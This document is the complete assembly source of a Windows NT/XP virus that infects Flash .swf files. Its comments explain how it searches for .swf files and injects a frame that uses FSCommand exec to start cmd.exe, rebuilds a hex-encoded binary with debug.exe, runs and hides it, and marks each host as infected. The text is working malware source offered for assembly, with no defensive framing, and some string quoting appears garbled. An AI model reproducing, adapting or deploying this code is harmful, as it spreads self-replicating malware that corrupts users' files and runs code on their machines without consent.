>swf/lfm-926 virus: ; ------------------ ; description: winnt/xp virus dropper for flash .swf files! ; masm version 6.11: ml.exe swf.asm ; virus size: 926 bytes ; infection size: 3247 bytes. ; last edit: 01/08/2002
; --------------------------------- begin source code ------------------------------------
.286 .model tiny .code org 100h
entry: jmp start
vir_size equ virus_end-entry
dta db 128 dup(0) ; offset dta+30 = filename handle dw ? ; handle to host file ptr1 dd 0 ; segment address of the created memory block path db "*.swf",0 ; file mask binary db "v.com",0 ; binary code hex db "0123456789abcdef" ; binary to hex
; flash header block. ; ------------------- sign_fw dw ? ; swf file format sign_s db ? version_num db ? file_length dw ? dw ? static_hdr_size equ $-sign_fw
rect_buf db 20 dup(0) ; header length is variable because the rect region isnt static. ;( rect_buf_size equ $-rect_buf
hdr_size dw ? ; holds the true header size!
; start of viral frame 0. ; ----------------------- drop_begin db 03fh,003h ; doaction tag(12) long format. learn the bytecodes! tag_length dw 0 ; (action length+3)+1[end_tag] dw 0 db 083h ; actiongeturl tag action_length dw 0 ; (drop_begin_size-9)+(sum of drop_middle)+(drop_end_size) db fscommand:exec db 000h db cmd.exe db 009h ; chr(9) is flash code for a space character. db /c db 009h db echo db 009h db loading.flash.movie... db & db (echo db 009h db n db 009h db v.com&echo db 009h db a db 009h db 100& drop_begin_size equ $-drop_begin
drop_middle db echo db 009h db db db 009h db 71 dup(,) ; db xx,...,xx where xxs are viral hex codes. db & drop_middle_size equ $-drop_middle
drop_end db &echo.&echo db 009h db rcx&echo db 009h db 39e ; define hex 39e (vir_size) as a string. changes if this code changes. db &echo db 009h db w&echo db 009h db q)|debug.exe>nul&start db 009h db /b db 009h db v.com db 000h ; stringend tag drop_end_size equ $-drop_end
; end of viral frame 0. ; --------------------- end_tag db 001h ; action code 0x01 = tagshowframe tag
start: mov ax,(vir_size+0fh) shr ax,4 shl ax,1 mov bx,ax ; allocate (virussize*2) mov ah,4ah int 21h ; resize block jc exprog
mov dx,offset dta ; set dta operation mov ah,1ah int 21h
mov cx,07h mov dx,offset path mov ah,4eh ; findfirst int 21h jc exprog jmp infect cycle: mov dx,offset path mov ah,4fh ; findnext int 21h jc exprog jmp infect exprog: mov ax,4301h ; hide v.com mov cx,02h mov dx,offset binary int 21h
mov ax,4c00h ; end program int 21h infect: mov byte ptr dta[30+12],$ mov dx,offset (dta+30)
mov ax,3d02h ; open host file int 21h jc exprog
mov [handle],ax ; save file handle
mov ax,3f00h ; read file header mov dx,offset sign_fw mov bx,[handle] mov cx,(static_hdr_size+rect_buf_size) int 21h jc exprog
cmp word ptr sign_fw,wf ; check for a valid flash swf file. jne cycle ; try another file ... cmp byte ptr sign_s,s jne cycle cmp byte ptr version_num,099h ; already infected? je cycle
mov cx,rect_buf_size ; search for the setbackgroundcolor tag.
xor di,di ; seems to always exist directly after the header. next: cmp byte ptr rect_buf[di],043h jne not_found cmp byte ptr rect_buf[di+1],002h jne not_found jmp found not_found: inc di loop next jmp cycle found: mov word ptr hdr_size,static_hdr_size add word ptr hdr_size,di ; compute the header size
mov ax,4200h ; reset file ptr right after flash header xor cx,cx mov dx,[hdr_size] int 21h jc exprog
push bx mov ax,word ptr file_length add ax,15 shr ax,4 mov bx,ax mov ah,48h ; allocate memory for target host file int 21h pop bx jc exprog mov word ptr ptr1[2],ax ; save pointer to allocated block
mov cx,word ptr file_length sub cx,[hdr_size] mov ah,3fh ; read host file into memory block push ds lds dx,[ptr1] int 21h pop ds jc exprog
mov ax,4200h ; reset file ptr to the middle code section xor cx,cx mov dx,[hdr_size] add dx,drop_begin_size int 21h jc exprog
; ; the following code is a key technique. it simply converts the ; virus from binary to hex characters and then inserts them into the host ; using a standard format that debug.exe expects! flash only really ; allows plain text, so this satisfies that condition. ;
mov word ptr action_length,(drop_begin_size-9+drop_end_size) push bx mov cx,vir_size xor si,si xor di,di tohex: mov bx,offset hex ; convert 8-bit binary number to a string representing a hex humber mov al,byte ptr entry[si] mov ah,al and al,00001111y xlat mov drop_middle[static_hdr_size+di+1],al shr ax,12 xlat mov drop_middle[static_hdr_size+di],al inc si inc di inc di inc di mov ax,si mov bl,24 ; debug.exe can handle at most 24 defined bytes on 1 line. div bl or ah,ah jnz cont push cx xor di,di add word ptr action_length,drop_middle_size mov bx,[handle] ; write hex dump entry xx,...,xx mov dx,offset drop_middle mov cx,drop_middle_size mov ax,4000h int 21h jc exprog pop cx cont: loop tohex pop bx
or di,di jz no_remainder
mov dx,offset drop_middle mov cx,di add cx,7 ; static_hdr_size-1 add word ptr action_length,cx mov ax,4000h ; write remainder hex dump entry xx,...,xx int 21h jc exprog
no_remainder: mov dx,offset drop_end mov cx,drop_end_size+1 mov ax,4000h ; write end code and end of frame tag(01) into host int 21h jc exprog
mov cx,word ptr file_length sub cx,[hdr_size] mov ax,4000h ; write host code directly after viral code. push ds lds dx,[ptr1] int 21h pop ds jc exprog ; patch the header with new viral values. mov cx,word ptr action_length add cx,4 mov word ptr tag_length,cx add cx,6 add word ptr file_length,cx ; total file size increase = (tag_length+6) ; set infection marker mov byte ptr version_num,099h
mov di,[hdr_size] inc word ptr [sign_fw+di-2] ; increase frame count by 1
mov ax,4200h ; re-wind to start of file xor cx,cx xor dx,dx int 21h jc exprog
mov dx,offset sign_fw mov cx,[hdr_size] mov ax,4000h ; write updated viral header int 21h jc exprog
mov dx,offset drop_begin mov cx,drop_begin_size mov ax,4000h ; write begin code into host int 21h jc exprog
mov ah,49h ; free memory block mov es,word ptr ptr1[2]
int 21h jc exprog
mov ax,3e00h ; close file int 21h jc exprog
jmp cycle ; done! try to infect another.
virus_end: end entry
|